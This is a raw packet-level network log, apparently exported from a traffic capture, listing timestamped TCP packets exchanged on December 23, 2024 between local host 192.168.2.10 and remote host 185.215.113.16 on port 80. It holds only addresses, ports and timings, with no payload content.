Dec 23, 2024 07:52:51.211590052 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.212347031 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.212460041 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.212507963 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.213277102 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.213359118 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.213407040 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.214234114 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.214324951 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.214390039 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.215173960 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.215272903 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.215321064 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.216100931 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.216207981 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.216268063 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.217228889 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.217349052 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.217401028 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.218003988 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.218122005 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.218166113 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.218946934 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.219073057 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.219129086 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.219888926 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.219980001 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.220024109 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.220794916 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.220905066 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.220959902 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.221787930 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.222296953 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.222992897 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.223006964 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.223038912 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.223098040 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.223654985 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.223756075 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.223798990 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.224554062 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.224666119 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.224704981 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.225684881 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.225698948 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.225743055 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.226428986 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.226526976 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.226572037 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.227449894 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.227485895 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.227531910 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.228311062 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.228420973 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.228487968 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.229254007 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.229335070 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.229378939 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.230186939 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.230304956 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.230349064 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.231131077 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.231241941 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.232065916 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.232111931 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.232165098 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.233014107 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.233072042 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.233130932 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.233241081 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.233958006 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.234054089 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.234091997 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.234874010 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.234987020 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.235033989 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.235831022 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.235928059 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.235986948 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.236763954 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.236948013 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.236991882 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.237775087 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.237823963 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.237873077 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.239119053 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.239134073 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.239182949 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.239696980 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.239710093 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.239748955 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.240564108 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.240654945 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.240698099 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.241467953 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.241563082 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.241604090 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.242405891 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.242580891 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.242630959 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.243335009 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.243441105 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.243477106 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.244249105 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.285826921 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.387624979 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.387710094 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.387757063 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.387815952 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.387900114 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.387943029 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.388858080 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.389267921 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.389770985 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.389782906 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.389820099 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.390640974 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.390661955 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.390727043 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.391590118 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.391633987 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.391680002 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.392539024 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.392636061 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.392910957 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.392930031 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.393441916 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.393524885 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.393569946 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.394428015 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.394561052 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.394599915 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.395602942 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.395617008 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.395659924 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.396254063 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.396414995 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.396461010 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.397211075 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.397315025 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.397361040 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.398144960 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.398251057 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.398305893 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.399070978 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.399188042 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.399234056 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.400068045 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.400166035 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.400209904 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.400957108 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.401067972 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.401113987 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.401894093 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.402012110 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.402081013 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.402817011 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.402930975 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.402973890 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.403784990 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.403892040 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.404735088 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.404784918 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.404831886 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.405675888 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.405718088 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.405782938 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.405841112 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.406613111 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.406668901 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.406713009 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.407533884 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.407641888 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.407685995 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.408473969 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.408579111 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.408632040 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.409439087 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.409519911 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.409563065 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.410492897 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.410506010 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.410550117 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.411300898 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.411474943 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.411515951 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.412290096 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.412417889 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.412460089 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.413199902 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.413295984 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.413337946 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.414122105 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.414314985 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.414359093 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.415059090 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.415174961 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.415216923 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.415988922 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.416093111 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.416134119 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.416953087 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.417105913 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.417151928 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.418102980 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.418116093 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.418168068 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.418826103 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.418920994 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.418962002 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.419729948 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.419852972 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.419898987 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.420696974 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.420795918 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.420838118 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.421617985 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.421716928 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.421760082 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.422578096 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.422699928 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.422769070 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.423562050 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.423619032 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.423664093 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.424473047 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.424571037 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.424613953 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.425426006 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.425479889 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:51.425523996 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.698014021 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:51.817473888 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.135056019 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.135126114 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.135252953 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.135456085 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.135544062 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.135613918 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.136373997 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.136750937 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.136763096 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.136879921 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.137682915 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.137696028 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.137830019 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.138685942 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.138698101 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.138923883 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.139385939 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.139529943 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.259938002 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.259970903 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.260057926 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.260349035 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.260436058 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.260601997 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.261322021 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.261420012 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.261900902 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.262265921 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.262363911 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.263195992 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.263287067 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.263298035 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.264113903 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.264209032 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.264220953 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.264777899 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.265072107 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.265153885 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.265331030 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.265995979 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.266115904 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.266170025 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.266949892 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.267062902 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.267874956 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.267987967 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.268564939 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.268790007 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.268951893 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.269042969 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.269691944 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.269752979 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.384881020 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.384960890 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.385305882 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.385385036 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.385394096 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.385952950 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.386233091 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.386364937 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.386457920 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.387171984 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.387274027 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.387372971 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.388108015 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.388216019 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.388319016 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.389096022 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.389154911 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.389945984 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.390052080 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.390183926 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.390932083 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.391028881 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.391061068 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.391890049 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.391999960 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.392010927 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.392116070 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.392831087 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.392941952 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.393409014 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.393785954 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.393949986 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.394752979 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.394859076 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.394886971 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.395668983 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.395803928 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.396572113 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.396662951 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.397519112 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.397629023 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.397686958 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.397686958 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.397686958 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.397686958 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.398452997 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.398552895 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.399383068 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.399512053 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.400321007 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.400440931 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.401278019 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.401364088 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:52.401829004 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:52.401829004 CET	49758	80	192.168.2.10	185.215.113.16
